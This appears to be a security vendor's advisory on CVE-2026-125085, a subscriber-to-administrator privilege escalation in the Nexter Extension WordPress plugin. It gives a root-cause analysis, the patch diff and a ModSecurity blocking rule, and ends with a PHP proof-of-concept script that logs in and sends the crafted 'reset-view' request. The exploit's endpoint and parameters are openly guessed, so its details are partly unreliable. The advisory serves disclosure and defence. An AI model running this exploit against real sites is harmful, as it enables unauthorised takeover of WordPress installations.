Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Get Protected FreeAtomic Edge analysis of CVE-2026-125085: The Nexter Extension plugin for WordPress (versions up to and including 4.9.0) contains an authenticated privilege escalation vulnerability. A subscriber-level user can elevate their account to Administrator by abusing the plugin’s “view admin as” feature. The flaw resides in the role_switcher_to_view_admin_as() function and its incomplete cleanup logic in the file nexter-extension/include/panel-settings/extensions/nexter-ext-view-admin-role.php. The CVSS score is 8.8 (High).
Root Cause: The vulnerability stems from two linked defects. First, the `reset-view` branch of `role_switcher_to_view_admin_as()` processes a request to reset the view state without verifying a nonce or the user’s capability when the caller supplies their own login. Second, the cleanup hook `maybe_prevent_switchback_to_administrator()` (registered on `set_user_role`) exits early if the user’s current roles match the stored view role, and it never runs when WordPress core’s `WP_User::set_role()` returns early because the account already holds only the target role. Consequently, a subscriber can trigger the `reset-view` action to switch their view to Administrator while the stale original-role metadata remains. After the switch, the user’s actual role is Administrator, and the missing cleanup means they cannot be demoted by the intended mechanism. The vulnerable code lacked the new fix functions `clear_switch_state()`, `clear_on_admin_role_edit()`, `clear_on_bulk_role_change()`, and `clear_on_rest_role_change()` introduced in the patch.
Exploitation: An authenticated attacker with subscriber-level access sends a crafted request to the WordPress admin area. The request targets the `reset-view` action, likely via an AJAX endpoint or an admin POST handler (e.g., `/wp-admin/admin-ajax.php` with an action parameter or a direct POST to a plugin admin page). The attacker includes their own login name in the parameter (e.g., `user_login=attacker`) and sets `reset-view` to trigger the branch. Because the handler lacks a capability check and nonce verification, the view switches the attacker’s effective role to Administrator. The incomplete cleanup hook fails to revert the change due to the early exit condition and the core `set_role()` short-circuit, leaving the attacker with persistent Administrator privileges.
Patch Analysis: Version 4.9.1 introduces a new private method `clear_switch_state()` that removes the user’s original-role metadata and whitelist entry. New hooks are registered: `edit_user_profile_update` (for single-user edits in the admin), `load-users.php` (for bulk role changes), and `rest_after_insert_user` (for REST API updates). These hooks call the new clear functions, ensuring that any administrative role change, even to the same role, clears the switch state. The `reset-view` branch now calls `clear_switch_state()` directly, and the cleanup is no longer dependent on `set_user_role` firing. The patch also adds nonce and capability checks in `clear_on_bulk_role_change()`. This breaks the attack chain by preventing the stale metadata from persisting after a role switch.
Impact: Successful exploitation grants the attacker full Administrator privileges on the WordPress site. This allows complete site takeover: creating new admin users, installing malicious plugins, modifying content, exfiltrating data, and potentially achieving remote code execution via plugin/theme editor. The vulnerability requires authentication at the subscriber level, which is easily obtained on sites with open registration or comment-based accounts.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/nexter-extension/include/panel-settings/extensions/nexter-ext-view-admin-role.php
+++ b/nexter-extension/include/panel-settings/extensions/nexter-ext-view-admin-role.php
@@ -20,6 +20,10 @@
// WP_User::set_role() (bulk role change, REST, the single-edit screen) never fires
// profile_update, so a demotion through it left the stale original-role meta in place.
add_action( 'set_user_role', [$this, 'maybe_prevent_switchback_to_administrator'], 20, 1 );
+ // Another admin setting the role (even to the role already held) always drops the way back.
+ add_action( 'edit_user_profile_update', [$this, 'clear_on_admin_role_edit'], 5 );
+ add_action( 'load-users.php', [$this, 'clear_on_bulk_role_change'] );
+ add_action( 'rest_after_insert_user', [$this, 'clear_on_rest_role_change'], 10, 3 );
add_action( 'admin_footer', [$this, 'add_floating_reset_button'] );
add_action( 'wp_footer', [$this, 'add_floating_reset_button'] );
}
@@ -324,20 +328,67 @@
return;
}
- $uname = $user->user_login;
+ $this->clear_switch_state( $user_id );
+ }
+ }
+
+ /**
+ * Drop the recorded original roles and the whitelist entry, so the account cannot switch back.
+ */
+ private function clear_switch_state( $user_id ) {
+ if ( empty( $this->get_original_roles( $user_id ) ) ) {
+ return;
+ }
+ $user = get_user_by( 'id', $user_id );
+ if ( $user ) {
$opts = Nxt_Options::extra_ext() ?: [];
$allowed = $opts['view-admin-role']['view_as_users'] ?? [];
-
- // Remove user from the list of switchable usernames
- if ( in_array( $uname, $allowed, true ) ) {
- $opts['view-admin-role']['view_as_users'] = array_values( array_diff( $allowed, [ $uname ] ) );
+ if ( in_array( $user->user_login, $allowed, true ) ) {
+ $opts['view-admin-role']['view_as_users'] = array_values( array_diff( $allowed, [ $user->user_login ] ) );
update_option( 'nexter_extra_ext_options', $opts, true );
}
+ }
+ delete_user_meta( $user_id, 'nxtext_viewing_admin_switch' );
+ delete_user_meta( $user_id, 'nxtext_view_admin_original_role' );
+ }
+
+ /**
+ * Single-user edit screen: an admin saving another user's role.
+ */
+ public function clear_on_admin_role_edit( $user_id ) {
+ if ( (int) $user_id === get_current_user_id() || ! isset( $_POST['role'] ) || ! current_user_can( 'promote_user', $user_id ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing -- core verified update-user_{id} before this hook.
+ return;
+ }
+ $this->clear_switch_state( $user_id );
+ }
+
+ /**
+ * Users list "Change role to" bulk action; core skips every hook when the role is unchanged.
+ */
+ public function clear_on_bulk_role_change() {
+ $action = isset( $_REQUEST['action'] ) ? sanitize_key( wp_unslash( $_REQUEST['action'] ) ) : '';
+ if ( 'promote' !== $action && empty( $_REQUEST['changeit'] ) ) {
+ return;
+ }
+ $nonce = isset( $_REQUEST['_wpnonce'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['_wpnonce'] ) ) : '';
+ if ( empty( $_REQUEST['users'] ) || ! current_user_can( 'promote_users' ) || ! wp_verify_nonce( $nonce, 'bulk-users' ) ) {
+ return;
+ }
+ foreach ( array_map( 'intval', (array) wp_unslash( $_REQUEST['users'] ) ) as $user_id ) {
+ if ( $user_id && $user_id !== get_current_user_id() && current_user_can( 'promote_user', $user_id ) ) {
+ $this->clear_switch_state( $user_id );
+ }
+ }
+ }
- // Remove View As metadata
- delete_user_meta( $user_id, 'nxtext_viewing_admin_switch' );
- delete_user_meta( $user_id, 'nxtext_view_admin_original_role' );
+ /**
+ * REST user update that sets roles.
+ */
+ public function clear_on_rest_role_change( $user, $request, $creating ) {
+ if ( $creating || ! isset( $request['roles'] ) || (int) $user->ID === get_current_user_id() ) {
+ return;
}
+ $this->clear_switch_state( $user->ID );
}
/**
--- a/nexter-extension/nexter-extension.php
+++ b/nexter-extension/nexter-extension.php
@@ -3,7 +3,7 @@
* Plugin Name: Nexter Extension
* Plugin URI: https://nexterwp.com
* Description: Nexter Extension adds lightweight performance, security, and admin features to WordPress so you can improve and manage your website without installing many plugins.
- * Version: 4.9.0
+ * Version: 4.9.1
* Author: POSIMYTH
* Author URI: https://posimyth.com
* Text Domain: nexter-extension
@@ -26,7 +26,7 @@
define( 'NEXTER_EXT_DIR', plugin_dir_path( NEXTER_EXT_FILE ) );
define( 'NEXTER_EXT_URL', plugins_url( '/', NEXTER_EXT_FILE ) );
define( 'NEXTER_EXT_CPT', 'nxt_builder' );
-define( 'NEXTER_EXT_VER', '4.9.0' );
+define( 'NEXTER_EXT_VER', '4.9.1' );
// Rewrite-rules revision for the Theme Builder CPT. Bump this whenever the CPT's slug or
// rewrite args change to trigger a one-time automatic flush (see nxt_ext_flush_rewrite_rules
// / nxt_ext_maybe_flush_rewrite_rules). Mirrors Elementor's activation + admin_init upgrade
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:2026125085,phase:2,deny,status:403,chain,msg:'CVE-2026-125085 via Nexter Extension AJAX reset-view',severity:'CRITICAL',tag:'CVE-2026-125085'"
SecRule ARGS_POST:action "@streq role_switcher_to_view_admin_as" "chain"
SecRule ARGS_POST:reset-view "@streq 1" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-125085 - Nexter Extension <= 4.9.0 - Authenticated (Subscriber+) Privilege Escalation to 'reset-view' Parameter
$target_url = 'http://example.com'; // WordPress site URL
$username = 'subscriber'; // Subscriber-level username
$password = 'password'; // Subscriber password
// Step 1: Log in to WordPress
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Extract nonce if needed (the vulnerability allows bypassing nonce, but some setups may require it)
// The exploit does not require a valid nonce due to the missing check, so we proceed directly.
// Step 3: Trigger the reset-view action with the attacker's own login to switch to admin view
// The exact endpoint varies: may be an AJAX action or an admin POST. Based on the function name, we target admin-ajax.php.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'role_switcher_to_view_admin_as', // or a similar action name based on the plugin
'reset-view' => '1',
'user_login' => $username // supply own login to bypass capability check
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
// Step 4: Verify privilege escalation by accessing admin dashboard
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
if (strpos($response, 'Dashboard') !== false) {
echo 'Exploit successful: Elevated to Administrator.n';
} else {
echo 'Exploit failed or already elevated.n';
}
// Cleanup
unlink('cookies.txt');
?>